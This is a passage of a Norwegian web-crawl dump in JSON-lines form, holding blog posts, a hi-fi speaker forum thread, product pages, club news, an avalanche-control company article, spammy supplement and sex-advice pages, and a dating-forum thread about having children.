uka og stor naturfagpr\u0159ve imorgen. Er allerede lei karbonkjemi, enda jeg s\u013avidt har begynt \u013a lese. Har aldri synes kjemi, grunnstoffer og lignende\u00a0har v\u0107rt noe lett, s\u013a\u00a0n\u013a pr\u0159ver jeg egentlig \u013a finne p\u013a alt anna enn \u013a lese til pr\u0159va\\!\u00a0  \n  \nVi fikk igjen engelsk tentamen idag, den engelsk tentamenen jeg f\u0159lte det hadde g\u013att s\u013a sykt d\u013arlig med, s\u013a jeg ble utrolig glad da jeg fikk en 5'er\\! Fikk ogs\u013a 5'er p\u013a norsk tentamen (som jeg ogs\u013a f\u0159lte at\u00a0gikk veldig d\u013arlig), s\u013a da ble jeg glad og h\u013aper bare p\u013a at det g\u013ar like bra med matte og nynorsk\\!  \n  \nDet har v\u0107rt skikkelig fint v\u0107r den siste uka (hvis man ser bort ifra en bitteliten sn\u0159/haglstorm), s\u013a bakkene har endelig begynt \u013a bli tomme for sn\u0159\\! Det er s\u013a herlig \u013a kunne bruke t\u0159ysko igjen, og v\u013akne opp med sol og bl\u013a himmel\\!  \n  \n  \nDet er foresten INGEN som ser at jeg har tatt bilde av meg selv med mobilen min,  \nfordi det er hvertfall IKKE skygge\u00a0av den\u00a0p\u013a den prikkete boka mi.\n\n  - 19.04.2010 kl.19:00\n  - 11 kommentarer \u2665\n\n### NY KJOLE\n\nIdag f\u0159r jeg dro p\u013a trening var jeg innom kj\u0159pesenteret en tur og kj\u0159pte meg ny kjole\\! Er skikkelig forn\u0159yd med den, synes\u00a0kjolen var s\u013a s\u0159t, m\u013a bare bli litt varmere ute f\u0159r jeg kan bruke den. Kjolen er kj\u0159pt p\u013a Kappahl, og de har egentlig utrolig mye fint/s\u0159tt der\\!  \n  \n\n\n  - 13.04.2010 kl.19:01\n  - 24 kommentarer \u2665\n\n### JIPPI, NY PC\n\nIdag fikk jeg melding om at den nye pc'en min hadde ankommet postkontoret, s\u013a da var jeg ikke treig med \u013a l\u0159pe ned p\u013a posthuset og hente den. Den andre jeg hadde kunne jeg ikke r\u0159re p\u013a engang, fordi skjermen var \u0159delagt, og den skrudde seg av hele tiden.  \n  \nDet blir nok litt bedre blogging i tiden fremover n\u013ar jeg har en ordentlig pc jeg kan blogge fra\\! Er skikkelig forn\u0159yd med den dataen her, widescreen og greier.. Er en m\u0159rkebl\u013a Acer Aspire 5738ZG, og jeg synes den virker veldig bra hittil ihvertfall\\!  \n  \n  \n  \nN\u013a skal jeg og Sondre spise sjokoladekake, naaaaaaaaaaaaaaaaaaaaaam.  \n  \n  \n\n-----\n\n**Q: Hva slags pc har du?**\n\n### DAGENS OUTFIT\n\n  \n  \n  \n  \n  - 10.04.2010 kl.12:33\n  - 7 kommentarer \u2665\n\n### SOMMERVESKE FRA ROXY\n\nJeg synes denne veska fra Roxy er s\u013a utrolig s\u0159t, men man f\u013ar jo ikke kj\u0159pt den i Norge da, selvf\u0159lgelig. Liker skikkelig godt det blomstrete m\u0159nsteret\\! Roxy har ogs\u013a foresten veldig mye fine kl\u0107r og diverse tilbeh\u0159r.  \n  \n  \n  \nDenne fra Accesorrize er ogs\u013a veldig s\u0159t da;  \n  \n  \n  \nJeg bestilte meg ny pc p\u013a internett ig\u013ar, s\u013a da blir det forh\u013apentligvis litt bedre blogging fremover n\u013ar jeg f\u013ar den\\! Den jeg har n\u013a holder nesten p\u013a \u013a dette i to, siden skjermen er \u0159delagt, s\u013a jeg kan ikke engang ta den med meg rundt fordi da detter det ut masse biter av skjermen\\!  \n\n  - 08.04.2010 kl.17:22\n### PHOTOSHOOT\n\nHar v\u0107rt p\u013a \"p\u013askeferie\" til Sondre i 4 dager, og p\u013a s\u0159ndag gikk vi oss en tur og tok litt bilder. Har v\u0107rt skikkelig fint v\u0107r idag og ig\u013ar, men resten av p\u013asken har det v\u0107rt kjempe d\u013arlig.Har blitt mest innekos, men jeg har kost meg masse uansett\\!  \n  \n", "language": "no", "__index_level_0__": "f6335202-41a3-4576-a3cc-50befea1802a"}
{"url": "http://www.highnorthnews.com/strid-om-offshorebase/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:40:47Z", "text": "\n09/03/2015  av Nyhetskjelleren \n\n### R\u00e5dmannen i S\u00f8r-Varanger vil skrinlegge planer om en offshorebase utenfor Kirkenes. Innstillingen skaper strid.\n\nR\u00e5dmannen overdriver ulempene for reindrifta, og har droppet positive sider ved utbygging p\u00e5 Pulkneset, mener Kirkenesbase. Konsekvenser for reindrifta og utfordringer med veiutbygging er overdrevet, mens potensialet for arbeidsplasser p\u00e5 sikt ikke er tatt med i innstillingen, p\u00e5peker de, skriver Finnmarken.\u00a0\n\nUtvalg for plan og samferdsel i kommunen skal torsdag vedta hvilke av planene for det aktuelle omr\u00e5det i S\u00f8r-Varanger som skal v\u00e6re med videre i planleggingen.\n\n", "language": "no", "__index_level_0__": "2b5b5bd5-468f-42d7-b634-4cfdc7dc4f28"}
{"url": "http://avforum.no/forum/klubb-entusiasttr-der/68740-den-store-xtz-yttaler-tr-den-28.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:47:16Z", "text": "    > Har du mulighet til koble to par h\u00f8yttalere til B\\&O forsterkeren din kjakan og s\u00e5 svitsje mellom disse?  \n    > Det er vel det vi ikke helt forst\u00e5r. Eller planlegger du \u00e5 koble inn og ut de ulike h\u00f8yttalerne til forsterkeren? Du sitter jo tross alt med en tokanals forsterker og vanligvis kan ikke en slik forsterker drive mer enn et par h\u00f8yttalere.  \n    > Alternativ m\u00e5 du da ha en forsterker til.\n    \n    -----\n\n2.   02-09-2009,\u00a022:29   \\#542 \n    \n    eddie\n    \n    >  Opprinnelig postet av **espennor**\n    > \n    > XTZ 99.26 Center Walnut, kan denne h\u00f8yttaleren bi-ampes?  \n    > Jeg ser at disse som stativ h\u00f8ytattalere kan bi-ampes med jeg finner ikke ut om senterh\u00f8yttaleren.  \n    >   \n    > B.T.W en vanlig stativ h\u00f8yttaler feks XTZ 99.26 kan den brukes som senter hvis den ikke er skjermet n\u00e5r man bruker prosjekor og lerret? Jeg skj\u00f8nner at det blir forstyrrelser p\u00e5 bildet p\u00e5 en tv.\n    > \n    > Center av 99.26 er akkurat det samme som de p\u00e5 stativ. Eneste forskjellen er at diskanten er snudd.\n    \n4.   02-09-2009,\u00a023:59   \\#544 \n    \n    frenlakz\n    >  Opprinnelig postet av **frenlakz**\n    > Hei:-D har nyst kj\u00f8pt meg 99.38 etter \u00e5 ha lest mye bra om XTZ. er dog ikke helt forn\u00f8yd med bassen. har pr\u00f8vd \u00e5 justere p\u00e5 de eksterne delefiltrene uten mye reaksjon p\u00e5 lyden. vurderer n\u00e5 \u00e5 biampe direkte til forsterker (pioneer vsx-lx51) samt kj\u00f8re 10-tommerne via sub-amp 1 (den er p\u00e5 vei i posten).  \n    > er det noen som har noe bedre forslag?  \n    > Ja, jeg har et bedre forslag hvis bildet ditt stemmer med n\u00e5v\u00e6rende plassering: Trekk h\u00f8yttalerne lengre utifra veggen. St\u00e5r de s\u00e5 n\u00e6rme som bildet viser, er det ikke rart du har bassproblemer. Pr\u00f8v 80cm-1,10m fra bakdelen fra h\u00f8yttalerne til veggen. Har du mulighet til andre plasseringer i rommet, s\u00e5 pr\u00f8v det ogs\u00e5. Plassering er alfa og omega p\u00e5 god bassgjengivelse i rommet. Mine 99.36 st\u00e5r n\u00e5 midt utp\u00e5 gulvet fordi der har jeg har best bass.  \n    >   \n    > Du b\u00f8r ogs\u00e5 f\u00e5 st\u00f8rre mellomrom mellom h\u00f8yttalerne og f\u00e5 de lengre vekk ifra plasma og racket.\n    \n    -----\n\n6.   02-10-2009,\u00a000:51   \\#546 \n    \n    antiloop\n    > Side monterte basser kan i enkelte tilfeller v\u00e6re sv\u00e6rt vanskelig \u00e5 f\u00e5 til \u00e5 spille optimalt. Med den rom l\u00f8sningen du har tror jeg du hadde v\u00e6rt bedre tjent med f.eks 99.36. Har selv hatt Audio Pro Blue Diamond i nesten samme roml\u00f8sning som du har og de ville ikke spille skikkelig bass med h\u00f8yttalerne tett opptil veggen. Som orso sier s\u00e5 m\u00e5 du f\u00e5 de ut i rommet i f\u00f8rste omgang og se om det blir bedre...  \n    > Husk ogs\u00e5 at sidemonterte basser spiller best hvis de st\u00e5r mot hverandre.\n    > \n    > sikker p\u00e5 at det blir bedre hvis han trekker de ut p\u00e5 gulvet? \"basshullene\" er jo i front... men \u00e5 bytte om de to hadde v\u00e6rt bedre ja vil jeg tro...\n    \n    -----\n\n9.   02-10-2009,\u00a003:56   \\#549 \n    \n    > Hvor h\u00f8yttalerne b\u00f8r st\u00e5 for god bass er avhengig av rommet, men man kan i hvert fall ikke plassere en h\u00f8yttaler kliss inntil veggen. Da f\u00e5r man masse bass resonanse. Er man avhengig av \u00e5 plassere h\u00f8yttalere inntil veggen, s\u00e5 b\u00f8r man kj\u00f8pe merker som Larsen, Carlson, Lyngdorf e.l. som er beregnet til det.  \n    > 99.36 trenger ogs\u00e5 god avstand til veggen selv med pluggene i.\n    \n    -----\n\n11.  02-10-2009,\u00a014:03   \\#551 \n    \n    > En liten oppdatering til oss som har bestillt XTZ 99 W12, snakket med de p\u00e5 telefon og de ventet inn det nye partiet 16.-20. februar, og skulle sende ut s\u00e5 fort som mulig.\n    \n    -----\n\n14.  02-10-2009,\u00a015:41   \\#554 \n    \n    >  Opprinnelig postet av **Reksen**\n    > det var 99.38 som han hadde problemer med her\\! \n    > \n    > Du tok ikke den nei. Jeg skrev 99.36 trenger **ogs\u00e5** god avstand til veggen. Den var en som sa at f.eks 99.36 hadde v\u00e6rt en bedre l\u00f8sning med plasseringen til frenlakz. Det var med tanke p\u00e5 det at jeg skrev at 99.36 ogs\u00e5 trenger god avstand til veggen. :wink:\n    \n15.  02-10-2009,\u00a016:04   \\#555 \n    \n    frenlakz\n    ##  XTZ 99.38 bass\n    > tja, jeg f\u00e5r pr\u00f8ve \u00e5 flytte litt rundt p\u00e5 dem. bass mot bass og noe ut p\u00e5 gulvet samt ut mot sidene. tester dette i kveld.  \n    > men tror fortsatt biamping + sub amp1 vil ha gi bedre kontroll p\u00e5 lyd og bass.  \n    > da blir de eksterne delefiltrene til overs. vurderer derfor \u00e5 bytte 99.38 mot 99.26 + w10.17p.\n    \n16.  02-10-2009,\u00a016:07   \\#556 \n    \n    \n    >  Opprinnelig postet av **eiiv**\n    > \n    > Har ett spm\\!  \n    >   \n    > Til musikkbruk, b\u00f8r jeg g\u00e5 for 99.36 eller 99.26 ?  \n    >   \n    > Er ikke s\u00e5 mange tester p\u00e5 99.36 der ute. Skal i utgangspunktet ikke ha sub utenom.  \n    >   \n    > Hvis jeg velger .36 er det fordel \u00e5 velge pianolakk framfor valn\u00f8tt da den er h\u00f8yere?\n    > \n    > Har du plass og kraftig nok forsterker, s\u00e5 er 99.36 et bedre valg siden den har et ekstra bass element.  \n    > Ville ha valgt den i pianolakk p.g.a. h\u00f8yden, tykkere MDF og bedre justerings muligheter.\n    \n    -----\n\n18.  02-10-2009,\u00a017:16   \\#558 \n    \n    >  Opprinnelig postet av **orso**\n    > Du tok ikke den nei. Jeg skrev 99.36 trenger **ogs\u00e5** god avstand til veggen. Den var en som sa at f.eks 99.36 hadde v\u00e6rt en bedre l\u00f8sning med plasseringen til frenlakz. Det var med tanke p\u00e5 det at jeg skrev at 99.36 ogs\u00e5 trenger god avstand til veggen. :wink:\n    > ops: Okeij\\! :-D\n    \n    -----\n\n19.  02-10-2009,\u00a017:50   \\#559 \n    \n    >  Opprinnelig postet av **frenlakz**\n    > \n    > Takker for alle svar8)  \n    > tja, jeg f\u00e5r pr\u00f8ve \u00e5 flytte litt rundt p\u00e5 dem. bass mot bass og noe ut p\u00e5 gulvet samt ut mot sidene. tester dette i kveld.  \n    > men tror fortsatt biamping + sub amp1 vil ha gi bedre kontroll p\u00e5 lyd og bass.  \n    > da blir de eksterne delefiltrene til overs. vurderer derfor \u00e5 bytte 99.38 mot 99.26 + w10.17p.\n    > \n    > 99.38 og 99.25/26 + W10.17 p er jo samme h\u00f8yttalere, bare 99.38 er i ett kabinett i stedet for to, pluss at bassen er p\u00e5 siden.  \n    >   \n    > Hva er det som er fel med bassen? For mye? For lite? For buldrete?\n    \n    -----\n\n20.  02-10-2009,\u00a018:14   \\#560 \n    \n    \n    >  Opprinnelig postet av **AndreWerdenskrieg**\n    > Hva er det som er fel med bassen? For mye? For lite? For buldrete?\n    > Sikkert som de fleste andre som har bassproblemer med XTZ. For mye og for buldrete. Men med noen timer med arbeid i plassering s\u00e5 kommer det seg. Sub Amp1 kommer ogs\u00e5 til \u00e5 hjelpe veldig mye antar jeg.:-D\n    \n", "language": "no", "__index_level_0__": "29efaf66-b096-4b3d-be30-c56984afa352"}
{"url": "https://www.bangerhead.no/issey-miyake-eh-sport-edt-50ml-no", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:20:55Z", "text": "# Issey Miyake  \n**Issey Miyake EH Sport Edt (50ml)**\n\nOm produktet *B005233* \n\nHer kommer klassiske l\u00e9au d\u00edssey duften i deoderant form, med bergamott og grapefrukt, gir L'Eau d'Issey pour Homme Sport f\u00f8lelsen av den friske luften p\u00e5 h\u00f8ye h\u00f8yder.\n\n|            |                 |\n| ---------- | --------------- |\n| Parfyme:   | Eau de Toilette |\n| St\u00f8rrelse: | 50ml            |\n\n# Tips en venn\n\n*Lukk*\n\n", "language": "no", "__index_level_0__": "b40e2a05-1136-44ea-a5db-f52d0460a75c"}
{"url": "http://kreativavkobling.blogspot.com/2010/04/da-ble-det-visst-en-blogg-pa-meg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:36:11Z", "text": "\n\n## torsdag 15. april 2010\n\n### Da ble det visst en blogg p\u00e5 meg...\n\nDet var da sv\u00e6rt s\u00e5 enkelt \u00e5 lage seg en blogg\\! S\u00e5 g\u00f8y\\! Her kommer jeg til \u00e5 legge ut noen av mine prosjekter innen scrappeverdenen\\! Lager for det meste kun kort, og lager en LO en gang i blant. Dette er jo en fantastisk hobby der kun fantasien setter grensene\\!\n\n23:52           \n\n \n#### 1 kommentar:\n\n1.  \n    \n    Grethe19. april 2010 kl. 23:06\n    \n    S\u00e5 koselig at du har lagt deg til som f\u00f8lger av bloggen min\\! Gleder meg til \u00e5 se dine kreasjoner\\!  \n      \n    Og ellers hadde det v\u00e6rt veldig g\u00f8y \u00e5 treffes og scrappe sammen igjen en gang\\!\n    \n## Om meg\n\n\n\n  - Therese\n    \n    Jeg bor i Molde og er gift med Kjell-Bjarte, og har ei nydelig datter som heter Sara\\! Lager for det meste LO'er og et kort n\u00e5r det passer slik :)\n\n     Art enables us to find ourselves & to loose ourselves at the same time. \\~ Thomas Merton \n", "language": "no", "__index_level_0__": "3bf5ef76-541d-454d-be6f-ea9ca49ee2ea"}
{"url": "http://innebandy.bekkelagets.no/blog/post/15498/askim-sparebanklekene?ispage=true", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:31:16Z", "text": "# Askim Sparebanklekene\n\nPostet av B\u00e6kkelagets SK den 23. Mai 2013\n\n**L\u00f8rdag 18. mai**  \n  \nDet var Eivind Wiksh\u00e5land (g-16), Inger Sofie Larsen-Christensen (j-12) og Embla Schei Carlsson (j-12) som deltok for BSK i Askim. Inger Sofie og Embla var med p\u00e5 60m og lengde, og Eivind l\u00f8p 600m. Det ble ny pers for Eivind med tiden 1.28,23 , og klubbrekorden p\u00e5 1.27 fra 1967 er snart innen rekkevidde. Kommende helg er det treningsleir p\u00e5 Modum, men for dem som ikke skal dit, er det siste frist 21. mai for p\u00e5melding til Romerikslekene. Helgen etter inviterer Asker til stevne p\u00e5 F\u00f8yka. Se friidrettssidene for resultater.\n\n-----\n\n", "language": "no", "__index_level_0__": "43f6972e-5b6f-4c5c-86f5-500a4f2f95b2"}
{"url": "https://www.wyssenavalanche.com/nb/news/wyssen-risk-solutions-snoskredkontroll-med-suksess-i-norge/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:34:48Z", "text": "# WYSSEN RISK SOLUTIONS: SN\u00d8SKREDKONTROLL MED SUKSESS I NORGE\n\n\n7\\. september 2017\n\n\n\n\u00a0\nVinteren 2015/16 tok Wyssen Norge AS for f\u00f8rste gang i bruk konseptet Wyssen Risk Solutions i forbindelse med en lokal skredvarslingstjeneste. Wyssen var leid inn som underleverand\u00f8r i samarbeid med det norske selskapet Skred AS. Prosjektene er utf\u00f8rt i S\u00f8rfjorden i Nordland og i Romarheimsdalen i Hordaland.\n\n1\\. desember 2016 ble det f\u00f8rste, st\u00f8rre veisikringsprosjektet ved hjelp av sn\u00f8skredkontroll iverksatt p\u00e5 FV53 mellom Tyin og \u00c5rdal. 14 Wyssen sn\u00f8skredt\u00e5rn ble installert og driftet gjennom vinteren. Som underleverand\u00f8r til Statens Vegvesen har Wyssen Norge s\u00f8rget for daglig skredvarsling og gjennomf\u00f8ring av sn\u00f8skredkontroll p\u00e5 veistrekningen. Dette resulterte i ingen naturlig utl\u00f8ste skred p\u00e5 vei mens veien var \u00e5pen for ferdsel i l\u00f8pet av vinteren. Stengning p\u00e5 grunn av skredfare har ogs\u00e5 blitt sterkt redusert denne vinteren.\n\n\u00a0\n\n**Ny plattform for lokal skredvarsling**\n\nFor \u00e5 drive en god sn\u00f8skredvarsling med utarbeidelse av prognoser kreves det kvalifisert personell, p\u00e5litelige arbeidsprosesser, relevante og n\u00f8yaktige data og en komplett dokumentasjon. Til dette form\u00e5let har firmaene Wyssen Avalanchcontroll AG, Skred AS og AlpSolut i fellesskap utviklet en plattform som p\u00e5ser at prosessene f\u00f8lges daglig og at samtlige data og beslutninger kvalitetssikres og dokumenteres.\n\nEt av oppdragene foreg\u00e5r i Nordland der byggeplassen for et vannkraftprosjekt skal beskyttes. Oppdrag nummer to foreg\u00e5r i Hordaland der det v\u00e5ren 2015 gikk et stort skred fra en isbre. Dette rammet E39 og traff 2 biler. N\u00e5 bygges det en skredvoll for \u00e5 beskytte veien, og da blir naturligvis ogs\u00e5 byggeplassen utsatt for skredfare.\n\nI begge prosjektene gjelder det \u00e5 \u00f8ke sikkerheten for arbeidstakerne om vinteren og unng\u00e5 un\u00f8dvendig  \nstengning av anleggsomr\u00e5det. Derfor fikk Skred AS sammen med Wyssen Norge AS som underleverand\u00f8r i oppdrag \u00e5 utarbeide en daglig skredfarevurdering. Denne tjenesten har hjulpet begge kundene med \u00e5 holde den  \nplanlagte fremdriftsplanen og samtidig ivareta sikkerheten til arbeidstakerne.\n\n", "language": "no", "__index_level_0__": "87b14043-d68b-4ac9-b09d-6e30a5e94edf"}
{"url": "http://energo-perm.ru/er-bcaa-farlig/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:32:56Z", "text": "# Er bcaa farlig\n\n** October 10, 2017 ** Kjell\n\nBCAA (forgreinede aminosyrer) er et popul\u00e6rt kosttilskud. Her har du grunner til hvorfor det kan v\u00e6re en god ide\\` \u00e5 bruke det. Branched Chained Amino Acids (BCAA) best\u00e5r av aminosyrene leucine, isoleucine, og valine.\n\n\n\nDette er de tre mest oppbyggende aminosyrene\u00a0. Sportsdrikker ser ut til \u00e5 v\u00e6re farligere for tennene enn vi har trodd. I tillegg til at det er en sur drikke, s\u00e5 drikker vi det mens vi trener. BCAA st\u00e5r for Branched Chained Amino Acids, eller forgrenede aminosyrer p\u00e5 norsk. Disse aminosyrene er leucine, isoleucine og valine.\n\nKvaliteten p\u00e5 proteinet vi inntar er viktig. Derfor er det ikke slik at man kun b\u00f8r komme med anbefalinger om hvor mye protein man b\u00f8r ha i seg\u00a0.\n\n\n\nOg innta BCAA sammen med en proteinshake er ikke farlig, sp\u00f8rsm\u00e5let er vel om det er noe utbytte ved \u00e5 gj\u00f8re dette, da de fleste proteinpulver\u00a0. Hjelp av folk med erfaring om kosttilskudd OSV \\! Fotball, sport og trening \u203a Trening og kostholdBufret20. Trening og kosthold: Anabole steroider er ikke s\u00e5 farlig som. Er det da lurt \u00e5 ta BCAA og blande det i en flaske med vann og ha med\u00a0. BCAA (branched-chain amino acids) \u00e4r ett vanligt kosttillskott i tr\u00e4ningsv\u00e4rlden och anv\u00e4nds av m\u00e5nga styrketr\u00e4nande personer i syfte att\u00a0. Det jeg fant ut var at det verken var s\u00e5 avansert eller farlig som jeg hadde trodd.\n\n\n\nL\u00e6r hvorn\u00e5r og hvordan du skal indtage BCAA \u2013 og f\u00e5 resultater\\! Det jeg n\u00e5 er redd for er at det er farlig \u00e5 ta proteinpulver og bcaa sammen med escitalopram actavis? Hva skjer hvis jeg tar dobbelt s\u00e5 mye proteintilskudd som de. Tagger: BCAA, folat, frie aminosyrer, gravide, graviditet, IsoCool, kosttilskud. Om jeg tar en av denne annehverdag ,er det da farlig? Moderate doser med koffein skal ikke v\u00e6re farlig og har en.\n\nI tillegg til koffein inneholder en del energidrikker ogs\u00e5 BCAA. Protein best\u00e5r av aminosyrer og bidrar til \u00e5 opprettholded og \u00f8ke muskelmasse. BCAA \u2013 \u00e4r den vanligast f\u00f6rekommande f\u00f6rkortningen p\u00e5 grenade\u00a0.\n\n", "language": "no", "__index_level_0__": "8391fe31-0688-4a73-a92c-74d46885bf8e"}
{"url": "http://borovikings.se/medlemmar/show_user.php?user_id=105", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:12:55Z", "text": "# Medlemmar\n\n## sandvik1\n\nHamar - Norway\n\nLeder supporterklubben i Norge, Boro Norge - www.boronorge.net  \n  \nForel\u00f8pige personlige h\u00f8ydepunkter:  \n  \nLeeds - Boro 0-1:  \nI Juninhos f\u00f8rste sesong. Min f\u00f8rste Borokamp. Gary McAllister bommet p\u00e5 straffe - hvor ofte skjedde det? (forresten sett han bomme p\u00e5 straffe p\u00e5 Ullevaal ogs\u00e5 - to maccabom av to mulige, har han bommet p\u00e5 flere? hehe)  \n  \nBoro - Liverpool 2-0:  \nReturkamp i ligacupens semifinale. Vant 3-2 sammenlagt. To m\u00e5l etter fire minutter og en vanvittig stemning under hele kampen. Liverpool\\\\\\\\\\\\\"fansen\\\\\\\\\\\\\" gikk fem minutter f\u00f8r slutt (og n\u00e5 snakker de om verdens beste fans som ble igjen i Istanbul? Selvsagt blir du igjen n\u00e5r du har betalt 10 000 kr for en billett til finale i Champions League - latterlig).  \n  \nBoro - Man Utd 3-1:  \nBoxing Day for noen \u00e5r siden. Boksic scoret til slutt, etter mange fors\u00f8k.  \n  \nManchester City - Boro 1-1:  \nHassebainks nydelige frisparkm\u00e5l i krysset og Schwarzers siste-sekund-strafferedning n\u00e5r vi tok UEFA-cupplassen fra nettopp City.  \n  \nBoro - Steaua Bucuresti 4-2  \nSykt\\!  \n  \nSevilla - Boro 4-0  \nBare det \u00e5 v\u00e6re p\u00e5 en cupfinale i Europa er stort, selv om det ble en trist dag - f\u00f8rste flyet hjem...  \n  \n  \nHatt flere gode stunder ogs\u00e5, men disse er alle utrolige av forskjellige \u00e5rsaker. To cupsemifinaleseire av to mulige, Boxing Day seier mot Man U, UEFAcupfinale og nervepirrende minutter mot City n\u00e5r vi kvalifiserte oss til Europa igjen, i tillegg til min f\u00f8rste kamp, selvsagt - veldig mye bra\\! Hatt noen store tap ogs\u00e5, huff... Tror likevel jeg har en nogenlunde grei kampstatistikk totalt sett... Reiser over av og til. Hender jeg har tatt turen over to helger p\u00e5 rad.  \n  \n  \n", "language": "no", "__index_level_0__": "c4797d1b-32e1-4cf1-ac4b-3a2b92d9e56b"}
{"url": "http://laekenseherder.eu/hvordan-fer-jenter-orgasme-silverdaddies", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:44:10Z", "text": "# Hvordan f\u00e5r jenter orgasme silverdaddies\n\n#### Published by hvordan f\u00e5r jenter orgasme silverdaddies on 19.11.2015\n\n\n\nDe aller fleste som f\u00e5r orgasme f\u00e5r dette gjennom onanering. N\u00e5r man er kjent med sin egen kropp er det lettere \u00e5 kunne fortelle partneren hvordan man liker det. Her er gutter mye flinkere enn jenter som ofte tenker p\u00e5 hva du m\u00e5 gj\u00f8re. Det er faktisk ganske vanlig at jenter ikke f\u00e5r orgasme ved vaginalt samleie. Det er flott at du vil tilfredsstille kj\u00e6resten din, og for de aller fleste jenter er det alfa. N\u00e5r det gjelder f\u00e5 orgasme ved penetrering, er det veldig normalt at jenter . Hvordan du skal f\u00e5 vekk de tankene kan jeg ikke svare p\u00e5, men pr\u00f8v og tenk p\u00e5 at.\n\n", "language": "no", "__index_level_0__": "3c219c4d-978d-4d46-acea-3f10b60ff6c5"}
{"url": "https://sukker.no/dating-forum/343080-Barn..html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:50:45Z", "text": "# Barn.\nSkjult ID med pseudonym Egentlig. l\u00f8. 10 juli 2010 15:44  \n\n(innlegg i neste post)\n\nSkjult ID med pseudonym Egentlig. l\u00f8. 10 juli 2010 15:44  \n\nDette er jo noe jeg m\u00e5 bestemme meg for selv, men jeg f\u00f8ler jeg trenger litt input fra andre p\u00e5 det.  \n  \nJeg er i en alder n\u00e5 der jeg vel egentlig \"burde\" hatt barn for lenge siden, men av forskjellige \u00e5rsaker har det ikke blitt s\u00e5nn.  \nJeg har ikke f\u00f8lt behovet heller; frem til jeg var omtrent 30 var det \u00e5 f\u00e5 barn litt fjernt for meg, men n\u00e5 som jeg er noe eldre f\u00f8ler jeg at det er noe jeg m\u00e5 ta standpunkt til, og det har skjedd noe i det siste som ogs\u00e5 presser det frem.  \n  \nJeg har nemlig truffet ei dame som ikke kan f\u00e5 barn, rett og slett. N\u00e5 vet jeg riktignok ikke om det blir noe seri\u00f8st der enn\u00e5, men jeg m\u00e5 p\u00e5 en m\u00e5te ta et oppgj\u00f8r med meg selv allikevel.  \n  \nS\u00e5 jeg pr\u00f8ver \u00e5 se for meg en \"liste\" over \u00e5rsaker til at jeg \u00f8nsker meg barn, eventuelt ikke gj\u00f8r det.  \n  \nS\u00e5 hvorfor \u00f8nsker jeg meg barn? Vel - i tillegg til det jeg mener er 'programmert' i meg fra naturens side, s\u00e5 \u00f8nsker jeg barn fordi jeg gjerne vil etterlate meg noe i denne verden n\u00e5r jeg er borte, noe positivt. Og jeg vil gjerne ogs\u00e5 bygge en familie med hun jeg er glad i og sammen med. Se et barn vokse, l\u00e6re, bli voksent selv. V\u00e6re glad i barnet, og det i meg. \"Bli voksen\" og ha ansvar for noen.  \n  \nHvorfor \u00f8nsker jeg meg eventuelt ikke barn? Vel - verden ser ikke s\u00e5 fantastisk ut. Selv om jeg ikke er noen tilhenger av dommedagsteorier (snarere tvert imot), vil overbefolkning, kulturelle forskjeller og forurensning i seg selv utgj\u00f8re og f\u00f8re til alvorlige problemer i fremtiden.  \nUsikker p\u00e5 min egen skikkethet som forelder. Tror jeg kan v\u00e6re bra, men vet jo ikke? Manglende personlig frihet en del \u00e5r? Mulighet for at barnet ikke er velskapt? Dette er jo ting man takler om/n\u00e5r det skjer, men jeg har dem allikevel p\u00e5 \"lista\".  \n  \nUansett - jeg vil gjerne ha deres mening rundt dette. Blir jeg sammen med hun som ikke kan f\u00e5 barn, s\u00e5 stopper det jo av seg selv.  \n  \nKom med deres \"lister\", deres meninger, etc. Hva er deres grunner til \u00e5 f\u00e5 (ha f\u00e5tt) barn? Eller til ikke \u00e5 f\u00e5 barn?\n\nSkjult ID med pseudonym MrGrim l\u00f8. 10 juli 2010 15:49  \n\nBarn er dyrt  \nDu kan ikke reise og loffe rundt som du vil  \nDu kan ikke flytte som du vil uten at det p\u00e5virker dette barnet  \nDu kommer til \u00e5 krangle med andre foreldre  \nDet er 50% sjangse for at du blir skilt. Da blir det enda dyrere og enda mer pes med den ungen.  \nMange barn er rett og slett drittunger enten du vil eller ei  \nBarnet kommer til \u00e5 dominere livet ditt de neste tyve \u00e5rene  \nAlle ferieturer blir veldig mye dyrere (og kjipere)  \nPenger du bruker p\u00e5 barn kunne du brukt p\u00e5 ny cabin cruiser  \nN\u00e5r du blir skilt blir det vanskeligere \u00e5 skaffe ny dame utenfor fjerdesorteringen  \n  \nja, du ser vel tegningen....\n\n (kvinne 55 \u00e5r fra \u00d8stfold)  l\u00f8. 10 juli 2010 15:53  Privat melding \n\nDet er mange par som ikke kan f\u00e5 barn den naturlige m\u00e5ten. Alternativer finnes jo dersom \u00f8nsket og trangen til \u00e5 skape en familie er tilstede. :-)\n\nSkjult ID med pseudonym Joques l\u00f8. 10 juli 2010 16:03  \n\nDet er visst mange som f\u00f8ler at hvis de ikke f\u00e5r barn, s\u00e5 blir hele tilv\u00e6relsen deres et blindspor. Det har jeg aldri forst\u00e5tt. Tilv\u00e6relsen min blir fylt av den betydningen som jeg fyller den med, \u00e5 videref\u00f8re min slekt er ikke 